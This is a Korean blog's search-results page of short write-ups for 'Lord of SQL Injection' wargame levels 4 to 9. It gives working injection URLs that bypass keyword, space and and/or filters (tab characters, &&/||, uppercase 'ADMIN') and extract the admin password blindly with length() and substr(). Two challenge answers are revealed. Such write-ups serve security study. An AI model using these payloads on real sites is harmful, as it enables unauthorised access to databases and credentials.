Wargame 검색 결과

45 개의 검색 결과가 있습니다.

Wargame/log.eagle-jump.org

[LOS] 문제9 Vampire

http://los.eagle-jump.org 그림을 클릭하여 들어갑니다 소스 코드를 분석하니 admin이라는 문자열을 공백으로 바꿔주는 코드가 있습니다 저번 문제와 같이 sql문은 대소문자 구분 안하니까 똑같이 풀어주시면 될거 같습니다 답은 하얀색!http://los.eagle-jump.org/vampire_0538b0259b6680c1ca4631a388177ed4.php?id=ADMIN

2017. 9. 8. 04:52

Wargame/log.eagle-jump.org

[LOS] 문제8 Troll

http://los.eagle-jump.org 그림을 클릭하여 들어갑니다 소스코드를 분석해보면 admin이라는 글자를 막아놨습니다 하지만 admin만 안될뿐 sql문은 대소문자 구분을 하지 않는걸 이용하면 됩니다

2017. 9. 8. 04:45

Wargame/log.eagle-jump.org

[LOS] 문제7 Orge

http://los.eagle-jump.org 사진을 클릭하여 들어갑니다 소스 코드를 분석하여 id='admin'일때 pw의 길이를 찾아내고 일일히 다 찾아봅니다 답은 하얀색! 6c864dec http://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=%27%20%26%26%201=2%20||%20id=%27admin%27%20%26%26%20length(pw)=8%20%23 이걸로 길이가 8개임을 찾고 일일히 찾아보면된다

2017. 9. 8. 04:29

Wargame/log.eagle-jump.org

[LOS] 문제6 Darkelf

http://los.eagle-jump.org 그림을 클릭합니다 and랑 or이 안되므로 다른 방법으로 우회합니다 답은 하얀색! http://los.eagle-jump.org/darkelf_6e50323a0bfccc2f3daf4df731651f75.php?pw=%27%20%26%201=2%20||%20id=%27admin%27%20%23 and랑 or을 못치니 &&랑 ||로 대체합니다 &&는 %26%26으로 적습니다

2017. 9. 7. 21:51

Wargame/log.eagle-jump.org

[LOS] 문제5 Wolf

http://los.eagle-jump.org 문제 5번을 풀어보도록 하겠습니다 그림을 클릭합니다소스 코드를 분석해보니 이제 %20 이나 스페이스 즉 공백을 쓸 수 없게 되었습니다 스페이스 대신 우회할 수 있는 것을 찾아 문제를 풀었습니다 답은 하얀색!http://los.eagle-jump.org/wolfman_f14e72f8d97e3cb7b8fe02bef1590757.php?pw=%27%09or%091=1%09and%09id=%27admin%27%09%23 스페이스를 못치니 탭인 %09를 써서 풀자

2017. 9. 7. 21:41

Wargame/log.eagle-jump.org

[LOS] 문제 4 Orc

http://los.eagle-jump.org 그림을 클릭합니다 소스코드를 분석해서 pw를 직접 일일히 찾습니다 답은 하얀색! 295d5844 http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=' or id= 'admin' and length(pw)=8 %23 이걸로 길이찾고 http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=' or id= admin and ascii(substr(pw,1,1)

2017. 9. 7. 21:24